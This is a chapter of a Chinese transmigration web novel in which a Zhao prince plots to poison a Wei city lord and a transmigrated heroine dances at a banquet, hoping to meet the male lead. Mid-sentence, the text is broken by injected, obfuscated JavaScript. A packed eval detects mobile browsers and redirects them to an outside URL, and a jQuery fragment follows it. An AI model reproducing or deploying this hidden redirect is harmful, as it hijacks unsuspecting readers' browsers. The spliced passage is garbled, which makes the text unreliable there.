卓家院子中央种着一棵树,树下一男子穿着浅蓝色的粗布衣,与另一个年轻人下棋。
用的是上好的白玉琪。
“殿下打算在卫国待多久?”林洛洲问。
赵臣殊扭了扭自己的脖子,这粗布衣穿着真难受,像蚂蚁在自己身上爬。
“用不了太久。”
林洛洲笑了一声,拿起一枚棋:“三皇子殿下这次秘密出访,就只带了一个仆从,没人伺候饮食起居,确实住不久,这院子都看着冷冷清清的。”
赵臣殊指了指他:“还带了你。”
林洛洲把手里的棋子一扔,反驳:“我又不是你佣人,我是赵国大名鼎鼎的翰林学士!”
屋内传来糊味,赵臣殊唯一的侍卫被呛出厨房。
赵臣殊瞧这局棋已处于劣势,猛拍石桌,把旗子都震得七零八落,站了起来。
“起越你在干什么!”
起越不会做饭。
偏偏今天殿下说吃腻了外头那条街上的小吃,想吃正宗的赵国美食。
他哪里会做。
起越:“殿下,锅巴饭吃吗?”
赵臣殊恶狠狠:“嗯?”
起越低头拱手:“很香的。”
……
三个人在树下吃锅巴糊饭,焦香焦香的,别有一番风味。
这卓家院子没怎么打扫过,很早之前卓家是赵国安插在卫国的眼线,后来不幸全家都死了,只有独子卓殊被秘密送往赵国养大,这儿的院子也就空了出来。
赵臣殊这次潜入卫国,用的就是卓殊的身份。
林洛洲看这院里一片萧瑟,开始出馊主意。
“你瞧这院子,多孤寂啊,你要不在这儿也置办上几个美人,也好夜夜春宵啊。”
赵臣殊白了他一眼,“嘴碎,真讨厌你这种只会打嘴炮的文官。”
赵臣殊是当今太子的有力人选,虽说立太子的大典还没有正式举行,但所有人都默认,他就是下一任君王。
毕竟他的弟妹全是歪瓜裂枣。
也因此,他的三皇子府已经人满为患,处处是莺歌燕舞,香气扑鼻。
他结婚都结腻了,不想娶了,赵王苦口婆心地劝他。
再娶一个,就一个!
娶了张家的闺女,那李家的闺女也必须得娶,不然没法做到后院平衡,就不能前朝平衡。
这是帝王的权衡之术。
可惜,他小小的三皇子府实在住不下更多人了。
还有朝臣想塞闺女的,只能往赵王的后宫送了。
老牛吃嫩草,不要脸。
林洛洲数了数这卓家的厢房。
“总共十八间,绰绰有余,十八个小美人嘻嘻嘻嘻。”
按照原书剧情发展,周颜之后就要被关在卓府中下不来床啦。
赵臣殊:“闭嘴。”
他这次来卫国,是来干正事的。
两国边疆战局一触即发,一场大战在所难免。
赵国的面积、人口数量不如卫国,真要是硬碰硬,卫国的胜算更大。
所以,他要提前来搞点事。
赵臣殊已让线人秘密送来一包赵国特产的慢性毒药,打算在晚宴的时候放进城主和他夫人的饭食中,让他们神不知鬼不觉得中毒。
接着,他们便只能沦为为赵国效力的囚徒。
妙哉。
卓家院子的门被打开,一个小乞丐哆嗦着走了进来。
“殿下。”
赵臣殊摊手,“药拿来。”
小乞丐:“殿下……药掉在水里,化没了。”
赵臣殊:“……”
什么!
这可是他赵国也罕见的毒丹毒药,就这么没了?
小乞丐:“我路上撞到一个人,把手里的药掉了。”
赵臣殊:“查!给我查!我要知道这个人是谁!”
小乞丐立马应声跑掉了。
他摸摸自己的小脑袋。
保住了,真好。
林洛洲问:“那晚上还去城主府吃饭吗?”
赵臣殊正在气头上:“吃个屁,你要吃你吃去,药都没了还去干嘛?跟卫国人交好朋友吗?你当我是来光明正大搞外交的啊。”
林洛洲摆手:“那我也不吃了。”
-
西城素园。
卫国人尽皆知的幽王在此躲清净。
他脱言身子不适,请了半年病假,谁都不见。
卫国当朝皇帝是个两岁的小婴儿,坐都不会坐,得让太监扶着,奏折上都是沾染的奶味。
每天朝臣还得跟他一起过家家。
烦死了。
这班上的真没意思。
所以他躲清净到了西城,没告诉西城的官员。
侍卫凛风传话:“殿下,太后托人送来一对舞女。”
万罗潇:“让她滚。”
每日皇城里给他送东西的人不少,凛风记不住,拿出张纸给万罗潇报。
“丞相送来了西域美女。”
“滚。”
“谢老太妃送来了她家的侄女,备注,是嫡长女。”
“也滚。”
“宋将军送来一列铁骑,备注,都是战场上立过功的。”
“滚。”
万罗潇说一个,凛风就在纸上打一个叉。
连着说了十几个“滚”,非常丝滑。
“程王送来两只肥美羔羊。”
“滚。”
凛风正要打叉,万罗潇抬手,“慢着,这个不用滚,这个炖了。”
凛风:“好嘞。”
冽风从门外进来,“殿下,卓园内有异动。”
万罗潇:“说。”
冽风:“那赵国三皇子不去西城城主家的宴会了,派人送了歉礼。”
他这几日都蹲在卓家院附近,什么动静都逃不出他的眼睛。
“不去了?”万罗潇奇怪,早有线人来报,那三皇子赵臣殊让人秘密运进一批毒药,万罗潇猜测是要毒西城城主。
按时间算算,大约已经到了西城。
怎么又不毒了?
他没派人去使绊子啊。
冽风:“殿下,我们的仓库里也有几包慢性毒药,效果类似,要不要我找个机会送给他们。”
赵臣殊要是不下毒了,他们后面的计划还怎么展开!
凛风嫌冽风脑子笨:“那也太引人注目了,一定会被他们看出端倪。”
万罗潇把玩着手中茶盏,猜不透这赵臣殊为何突然改了主意,他不信老谋深算的赵国三皇子会没拿到毒药,一定是别的地方有了差池。
万罗潇:“凛风,去告诉城主府,今晚的宴会,我会去。”
“是。”
既然不知道是哪儿出了差池,那就让他亲自去看看。
-
十八个姑娘躲在屏风后的纱帘内。
晚宴即将开始。
章媛媛很饿,下午就吃了几块桂花糕。
她察觉到一直有视线盯着自己。
带着怨气,带着不甘。
是绿娆。
章媛媛莫名其妙,她啥也没干啊,应该没有触发支线剧情吧。
书里的这一段没有宅斗情节。
为什么……
她要用这么幽怨的眼神看着自己?
先不管这个。
马上,赵臣殊就要来赴宴了,她要一舞惊鸿,夺得他的心和身。
章媛媛又练了几个劈叉。
小说中的赵臣殊在床上玩得花,手段多样,周颜天天被他折腾得下不来床。
而且,只要周颜暴露出一丝一毫要逃离他的想法,他就会变本加厉地玩弄。
章媛媛在看小说时,觉得还满刺激的,狗血奇葩的剧情,有意思。
但让自己亲自来上一遍,还是有些难以接受。
她只喜欢看小说主角被强制爱,不想自己被囚禁小黑屋啊。
要不……直接打破原有剧情,自己闯出一条血路。
……
还是算了吧,打破原有剧情,会造成数不清的蝴蝶效应,到时候不好收场。
章媛媛在心中给自己打气,这些都不过是逢场作戏。
要坚强。
这时,章媛媛忽然想起什么。
她的耳边怎么这么安静。
她的系统呢?
为了增加穿书的趣味性,一般穿书人都会被迫绑定系统。
前几次穿书,章媛媛都拿到了系统和金手指。
为什么这回没有。
出b
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439083|169345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
ug了?
前厅来人传话,该他们表演了。
姑娘们带上粉色的面纱,拿起罗扇便一同跟着过去。
前厅坐着西城的权贵世家、各行首富,还有城主家的家眷。
陈夫人有两儿一女,两个儿子都到了该婚配的年纪,女儿最小,才十岁。
除此之外,城主还有两个妾室。
一个叫柳香,在陈夫人后一年进门,有一个儿子,已到了能娶妻的年纪。
另一个叫姜子梨,是城主近两年新纳的妾室,有一个女儿,尚在襁褓之中。
这次的宴会,陈夫人的两个儿子都在宴席左边入座,柳姨娘的儿子也在。
西城城主江文谋举杯,“欢迎各位远道而来,江某先敬大家一杯。”
除了宴会厅左侧的首座,其他人都站了起来,遥遥举杯。
首座那位殿下,自顾自坐着,丝毫不管江文谋。
他梳着高发髻,额前不留碎发,着一身淡蓝衣裳,此刻曲着腿侧坐,坐姿懒散,盯着手中的茶盏。
江文谋和陈夫人悄悄看了他一眼,接着立马挪开视线,闷头喝酒。
不知幽王为何大驾光临。
他们也不敢问。
陈夫人未忘记此次办宴的初心。
“各位,我家二位少年郎已初长成。”
在她的话语下,江启优和江启秀站了起来,和大伙拱手行礼。
这次的宴会,就是陈夫人想让自家两个儿子接触西城权贵造的机缘。
两位少爷是异卵双胞胎,江启优长得更舒缓,江启秀更硬朗。
他们数月前一直在外求学,跟的是赫赫有名的宗老先生。
如今,学成归来,也到了考虑自己终身大事的时候了。
清扬的乐曲声响起,十八个姑娘从屋外缓缓而来。
她们都戴着若隐若现的轻纱,遮住了下半张脸。
章媛媛站在最中间,快速扫过所有来宾。
她一眼就看到了坐在左前方的那位蓝衣公子。
就是你了吧,你长得最帅,主角光环最为耀眼。
赵臣殊!我来啦!
古琴声响起,章媛媛在其中翩翩起舞。
贴身的裙摆随着转动扬起,划出好看的弧度,像花瓣一样绽放。
章媛媛一直用余光注意着蓝衣公子。
他没什么表情地看着舞蹈,叫人看不出喜怒哀乐。
真是个内敛的人。
书里说了,赵臣殊对周颜一见钟情。
遇到喜欢的人还能装作如此波澜不惊,真叫人佩服。
万罗潇皱眉看了最中间的姑娘一眼。
为什么这人一直在看他,有鬼。
江启优拍了拍自己哥哥的肩,低声说:“那个领舞的姑娘,长得有几分姿色。”
这悄悄话被一旁的陈夫人听了去,教育道:“未娶妻之前,别动歪脑筋。”
这些姑娘都家世普通,嫁进来当个妾也还行,明媒正娶那是绝无可能。
她对孩子的教育一向严苛,没娶妻之前决不允许纳妾。
一旁坐着的姜姨娘和柳姨娘对视一眼,低头吃饭。
她俩努力减少自己的存在感,但挡不住有爱出风头的晚辈。
柳姨娘的儿子江钟也坐在旁边,所有话一字不落地听见了。
人人都爱美人。
看到含羞遮面的姑娘快要流拍了,他站了起来。
江钟:“父亲,母亲,我对这位领舞的姑娘一见钟情,想与她再叙一二。”
江启优和江启秀是嫡子,而他江钟是庶子,身份不如两个哥哥高贵。
但正因为如此,各种礼仪规范他也可以不管很多。
平日里被哥哥们压一头,他早就隐隐不服。
今日,他就要娶哥哥们都没法娶的女人。
柳姨娘瞪了他一眼,示意他闭嘴。
两个哥哥都没娶妻,哪来他说话的份。
章媛媛跳着舞偷听,惊呆了。
小说里没有这段啊。
小说里的故事发展是,赵臣殊一眼爱上周颜,扛着她就走了大门。
章媛媛看向蓝衣男子,眼神里带着震惊和期许。
来啊,扛我啊!
难道还要她主动吗?